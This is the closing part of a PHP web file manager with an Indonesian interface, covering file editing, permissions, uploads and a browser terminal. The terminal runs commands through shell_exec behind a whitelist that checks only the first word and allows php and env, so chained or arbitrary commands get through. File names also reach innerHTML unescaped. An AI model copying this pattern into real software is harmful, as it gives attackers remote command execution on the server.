document.getElementById('chmod-item').value = name; document.getElementById('perms-octal').value = perms; const p = parseInt(perms, 8); document.getElementById('o-r').checked = !!(p & 0o400); document.getElementById('o-w').checked = !!(p & 0o200); document.getElementById('o-x').checked = !!(p & 0o100); document.getElementById('g-r').checked = !!(p & 0o040); document.getElementById('g-w').checked = !!(p & 0o020); document.getElementById('g-x').checked = !!(p & 0o010); document.getElementById('a-r').checked = !!(p & 0o004); document.getElementById('a-w').checked = !!(p & 0o002); document.getElementById('a-x').checked = !!(p & 0o001); showModal('chmod-modal'); } function updatePerms() { const bits = [ [document.getElementById('o-r'), 0o400], [document.getElementById('o-w'), 0o200], [document.getElementById('o-x'), 0o100], [document.getElementById('g-r'), 0o040], [document.getElementById('g-w'), 0o020], [document.getElementById('g-x'), 0o010], [document.getElementById('a-r'), 0o004], [document.getElementById('a-w'), 0o002], [document.getElementById('a-x'), 0o001], ]; let val = 0; bits.forEach(([cb, bit]) => { if (cb.checked) val |= bit; }); document.getElementById('perms-octal').value = '0' + val.toString(8).padStart(3, '0'); } function syncFromOctal() { const perms = document.getElementById('perms-octal').value; if (perms.length < 3) return; const p = parseInt(perms, 8); document.getElementById('o-r').checked = !!(p & 0o400); document.getElementById('o-w').checked = !!(p & 0o200); document.getElementById('o-x').checked = !!(p & 0o100); document.getElementById('g-r').checked = !!(p & 0o040); document.getElementById('g-w').checked = !!(p & 0o020); document.getElementById('g-x').checked = !!(p & 0o010); document.getElementById('a-r').checked = !!(p & 0o004); document.getElementById('a-w').checked = !!(p & 0o002); document.getElementById('a-x').checked = !!(p & 0o001); } // โโ INFO โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function showInfo(name, isDir, mtime, size, perms) { const fmtDate = ts => new Date(ts * 1000).toLocaleString('id-ID'); const fmtSize = bytes => { if (bytes === 0) return 'โ'; const u = ['B','KB','MB','GB']; let i = 0; while (bytes >= 1024 && i < 3) { bytes /= 1024; i++; } return Math.round(bytes * 100) / 100 + ' ' + u[i]; }; document.getElementById('info-content').innerHTML = ` <div class="info-item"><div class="label">Nama</div><div class="value">${name}</div></div> <div class="info-item"><div class="label">Tipe</div><div class="value">${isDir ? 'Folder' : 'File'}</div></div> <div class="info-item"><div class="label">Ukuran</div><div class="value">${isDir ? 'โ' : fmtSize(size)}</div></div> <div class="info-item"><div class="label">Permission</div><div class="value">${perms}</div></div> <div class="info-item"><div class="label">Diubah</div><div class="value">${fmtDate(mtime)}</div></div> <div class="info-item"><div class="label">Path</div><div class="value">${CUR_PATH}/${name}</div></div> `; showModal('info-modal'); } // โโ EDITOR โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function openEditor(filename) { currentEditorFile = filename; document.getElementById('editor-filename').textContent = filename; if (!editor) { editor = CodeMirror.fromTextArea(document.getElementById('code-editor'), { theme: 'dracula', lineNumbers: true, matchBrackets: true, styleActiveLine: true, lineWrapping: false, tabSize: 2, }); } // Detect mode const ext = filename.split('.').pop().toLowerCase(); const modeMap = { php:'php', js:'javascript', css:'css', html:'htmlmixed', htm:'htmlmixed', sql:'sql', py:'python', sh:'shell', bash:'shell', xml:'xml', yml:'yaml', yaml:'yaml', md:'markdown' }; const mode = modeMap[ext] || 'null'; editor.setOption('mode', mode); document.getElementById('editor-mode').value = mode; fetch('?action=get_content&p=' + encodeURIComponent(CUR_PATH) + '&f=' + encodeURIComponent(filename)) .then(r => r.json()) .then(d => { editor.setValue(d.content); editor.clearHistory(); showModal('editor-modal'); setTimeout(() => editor.refresh(), 100); }); } function changeMode() { if (editor) editor.setOption('mode', document.getElementById('editor-mode').value); } function saveFile() { if (!editor || !currentEditorFile) return; fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ action: 'save_file', p: CUR_PATH, filename: currentEditorFile, content: editor.getValue() }) }).then(r => r.json()).then(d => { showToast(d.msg || 'Tersimpan!', 'success'); }); } // โโ PREVIEW โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function previewImage(name, url) { document.getElementById('preview-title').textContent = '๐ผ๏ธ ' + name; document.getElementById('preview-content').innerHTML = `<img src="${url}" class="preview-img" alt="${name}">`; showModal('preview-modal'); } // โโ EXTRACT โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function extractZip(name) { document.getElementById('extract-file').value = name; showModal('extract-modal'); } // โโ CONTEXT MENU โโโโโโโโโโโโโโโโโโโโโโโโโ function showCtx(e, name, isDir) { e.preventDefault(); ctxFile = name; ctxIsDir = isDir; const menu = document.getElementById('ctx-menu'); document.getElementById('ctx-open').style.display = isDir ? '' : 'none'; document.getElementById('ctx-edit').style.display = !isDir ? '' : 'none'; menu.style.left = e.pageX + 'px'; menu.style.top = e.pageY + 'px'; menu.classList.add('visible'); } function hideCtx() { document.getElementById('ctx-menu').classList.remove('visible'); } function ctxAction(action) { hideCtx(); switch (action) { case 'open': const dpath = CUR_PATH ? CUR_PATH + '/' + ctxFile : ctxFile; window.location = '?p=' + encodeURIComponent(dpath); break; case 'edit': openEditor(ctxFile); break; case 'rename': showRename(ctxFile); break; case 'download': window.location = '?action=download&p=' + encodeURIComponent(CUR_PATH) + '&f=' + encodeURIComponent(ctxFile); break; case 'zip': window.location = '?action=zip_download&p=' + encodeURIComponent(CUR_PATH) + '&f=' + encodeURIComponent(ctxFile); break; case 'copy': document.getElementById('movecopy-action').value = 'copy'; document.getElementById('movecopy-title').textContent = '๐ Copy'; document.getElementById('movecopy-btn').textContent = 'Copy'; document.getElementById('movecopy-inputs').innerHTML = `<input type="hidden" name="items[]" value="${ctxFile}">`; showModal('movecopy-modal'); break; case 'move': document.getElementById('movecopy-action').value = 'move'; document.getElementById('movecopy-title').textContent = 'โ๏ธ Pindah'; document.getElementById('movecopy-btn').textContent = 'Pindah'; document.getElementById('movecopy-inputs').innerHTML = `<input type="hidden" name="items[]" value="${ctxFile}">`; showModal('movecopy-modal'); break; case 'chmod': showChmod(ctxFile, '0644'); break; case 'info': showInfo(ctxFile, ctxIsDir, Math.floor(Date.now()/1000), 0, '0644'); break; case 'delete': confirmDelete([ctxFile]); break; } } // โโ UPLOAD ZONE โโโโโโโโโโโโโโโโโโโโโโโโโโโโ const zone = document.getElementById('upload-zone'); if (zone) { zone.addEventListener('dragover', e => { e.preventDefault(); zone.classList.add('dragover'); }); zone.addEventListener('dragleave', () => zone.classList.remove('dragover')); zone.addEventListener('drop', e => { e.preventDefault(); zone.classList.remove('dragover'); document.getElementById('file-input').files = e.dataTransfer.files; showFiles(document.getElementById('file-input')); }); } function showFiles(input) { const list = document.getElementById('upload-list'); list.innerHTML = ''; [...input.files].forEach(f => { const el = document.createElement('div'); el.className = 'upload-item'; el.innerHTML = `<span>๐</span> ${f.name} <span style="margin-left:auto;color:var(--text3)">${(f.size/1024).toFixed(1)} KB</span>`; list.appendChild(el); }); } // โโ TERMINAL โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ const termHistory = []; let termHistIdx = -1; function runCmd() { const input = document.getElementById('terminal-input'); const cmd = input.value.trim(); if (!cmd) return; termHistory.unshift(cmd); termHistIdx = -1; const out = document.getElementById('terminal-output'); out.textContent += '$ ' + cmd + '\n'; input.value = ''; fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams({ action: 'terminal', cmd: cmd, p: CUR_PATH }) }).then(r => r.text()).then(d => { try { const j = JSON.parse(d); out.textContent += j.output + '\n'; } catch(e) { out.textContent += d + '\n'; } out.scrollTop = out.scrollHeight; }); } document.getElementById('terminal-input')?.addEventListener('keydown', e => { if (e.key === 'ArrowUp' && termHistory.length) { termHistIdx = Math.min(termHistIdx + 1, termHistory.length - 1); e.target.value = termHistory[termHistIdx]; } if (e.key === 'ArrowDown') { termHistIdx = Math.max(termHistIdx - 1, -1); e.target.value = termHistIdx >= 0 ? termHistory[termHistIdx] : ''; } }); // โโ SORT โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ let sortDir = {}; function sortTable(col) { const tbody = document.getElementById('file-tbody'); if (!tbody) return; const rows = [...tbody.querySelectorAll('tr:not(:first-child)')]; sortDir[col] = !sortDir[col]; rows.sort((a, b) => { const av = a.cells[col]?.textContent.trim() || ''; const bv = b.cells[col]?.textContent.trim() || ''; return sortDir[col] ? av.localeCompare(bv) : bv.localeCompare(av); }); rows.forEach(r => tbody.appendChild(r)); } </script> <?php // Terminal command handler if (fm_is_logged_in() && isset($_POST['action']) && $_POST['action'] === 'terminal' && !empty($_POST['cmd'])) { $cmd = $_POST['cmd']; $cwd = fm_full_path(fm_clean_path($_POST['p'] ?? '')); // Whitelist safe-ish commands $safe = ['ls', 'pwd', 'whoami', 'uname', 'php', 'cat', 'echo', 'find', 'head', 'tail', 'grep', 'df', 'du', 'id', 'env', 'date']; $cmd_base = preg_split('/\s+/', trim($cmd))[0]; if (in_array($cmd_base, $safe)) { $run = 'cd ' . escapeshellarg($cwd) . ' && ' . $cmd . ' 2>&1'; $output = shell_exec($run); echo json_encode(['output' => $output ?: '(no output)']); } else { echo json_encode(['output' => 'Perintah tidak diizinkan: ' . $cmd_base]); } exit; } ?> <?php endif; ?> </body> </html>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete